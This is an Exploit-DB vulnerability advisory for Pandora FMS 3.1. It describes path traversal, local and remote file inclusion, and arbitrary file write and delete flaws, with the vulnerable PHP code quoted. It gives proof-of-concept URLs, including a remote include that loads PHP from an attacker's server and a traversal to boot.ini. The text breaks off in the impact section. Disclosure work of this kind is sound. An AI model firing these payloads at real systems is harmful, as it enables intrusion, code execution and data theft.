Exploit-DB #15643
Description: Pandora Fms 3.1 - Directory Traversal / Local File Inclusion
Type: webapps
Platform: php
Date: 2010-11-30
Author: Juan Galiana Lara

Exploit:
[+] Introduction

Pandora FMS (for Pandora Flexible Monitoring System) is a software
solution for monitoring computer networks. It allows monitoring in a
visual way the status and performance of several parameters from
different operating systems, servers, applications and hardware systems
such as firewalls, proxies, databases, web servers or routers.

It can be deployed in almost any operating system. It features remote
monitoring (WMI, SNMP, TCP. UDP, ICMP, HTTP...) and it can also use
agents. An agent is available for each platform. It can also monitor
hardware systems with a TCP/IP stack, such as load balancers, routers,
network switches, printers or firewalls.

This software has several servers that process and get information from
different sources, using WMI for gathering remote Windows information, a
predictive server, a plug-in server which makes complex user-defined
network tests, an advanced export server to replicate data between
different sites of Pandora FMS, a network discovery server, and an SNMP
Trap console.

Released under the terms of the GNU General Public License, Pandora FMS
is free software.

5) Path Traversal:

5.1 - PHP File Inclusion (or RFI/LFI: Remote/Local file inclusion) -
CVE-2010-4281 -CVE-2010-4282 - CVSS 8.5/10

Parameter 'page' of ajax.php is not properly sanitizing user-supplied
input. The function safe_url_extraclean is filtering ':' character, and
it doesn't allow to use the string "http://"; to create urls, but allows
'/' character and an attacker could reference remote resources via
Windows UNC files, using //servername//resource/file

Note that the first check in safe_url_extraclean is filtering '://', so
we can bypass the filter easily doing http://http://url, and it only
strip the first protocol://. However, the last preg_replace strips the :
character.

Proof of concept:

UNC: http://servername/pandora_console/ajax.php?page=//server/share/test

As well, ajax.php allows to include any php file in the disk

filesystem:
http://servername/pandora_console/ajax.php?page=../../../../../directory/file

Character %00 is not allowed due safe_url_extraclean function filtering,
and is not possible to include other files distinct that php files, but
still allows . and / characters.


5.2 - PHP File Inclusion (or RFI Remote file inclusion) - CVE-2010-4283
- - CVSS 7.9/10

An attacker can inject arbitrary PHP code and execute it remotely due
argv[1] parameter is not filtered in file pandora_diag.php.

PoC:
http://servername/pandora_console/extras/pandora_diag.php?argc=2&argv[1]=http://serverattacker/salsa.php%00

Note: that issue needs register_globals set to On to be exploitable.


5.3 - Path traversal & Local file inclusion vulnerabilities -
CVE-2010-4282 - CVSS 6.8/10

An attacker can include arbitrary files of the filesystem via id
parameter in file pandora_help.php.


Snippet of vulnerable code:

 24 $id = get_parameter ('id');
 25
 26 /* Possible file locations */
 27 $files = array
($config["homedir"]."/include/help/".$config["language"]."/help_".$id.".php",
 28
$config["homedir"].ENTERPRISE_DIR."/include/help/".$config["language"]."/help_".$id.".php",
 29
$config["homedir"].ENTERPRISE_DIR."/include/help/en/help_".$id.".php",
 30         $config["homedir"]."/include/help/en/help_".$id.".php");
 31 $help_file = '';
 32 foreach ($files as $file) {
 33         if (file_exists ($file)) {
 34                 $help_file = $file;
 35                 break;
 36         }
 37 }
...
 62 require_once ($help_file);


Proof of concept:

http://servername/pandora_console/general/pandora_help.php?id=/../../../../../../../boot.ini%00

This code is platform dependent bug, you can read more at
http://seclists.org/fulldisclosure/2010/Jul/137
Only works in windows systems, an attacker can include local file using
../ characters due parameter id is not filtered
If magic_quotes_gpc is Off, arbitrary files can be included, like
boot.ini using NULL character (%00), if not, only php files are allowed


5.4 - Path traversal & Arbitrary write and delete files - CVE-2010-4282
- - CVSS 8.0/10

In file operation/agentes/networkmap.php the 'layout' parameter is
handled in an insecure way and it is used to write and delete files on
the filesystem.
An attacker could use this parameter to write in arbitrary paths and
even remove files.

Snippet of vulnerable code:

32 $layout = (string) get_parameter ('layout', 'radial');
...
137 $filename_map = $config["attachment_store"]."/networkmap_".$layout;
138 $filename_img = "attachment/networkmap_".$layout."_".$font_size;
139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout;
...
157         $fh = @fopen ($filename_dot, 'w');
158         if ($fh === false) {
159                 $result = false;
160         } else {
161                 fwrite ($fh, $graph);
162                 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng
- -o".$filename_img." ".$filename_dot;
163                 $result = system ($cmd);
164                 fclose ($fh);
165                 unlink ($filename_dot);
166         }
...
178         require ($filename_map);


Character sequences '../' could be used to write files (due -o parameter
in lines 162 and 163), as well as potentially remove files (line 157,
161 and 165) or include them (line 178)
As well like in 5.3 this issue is only exploitable in windows
environments because the same reason.


[+] Impact

An attacker can execute commands of the operating system, inject remote
code in the context of the application, get arbitrary files from the
filesystem or extract any data of the database including passwords and
confidential information about the monitored network/systems. Also it is
possible to bypass the authentication or scale privileges to became
admin, gaining full control of the web application and web server. These
vulnerabilities have a hi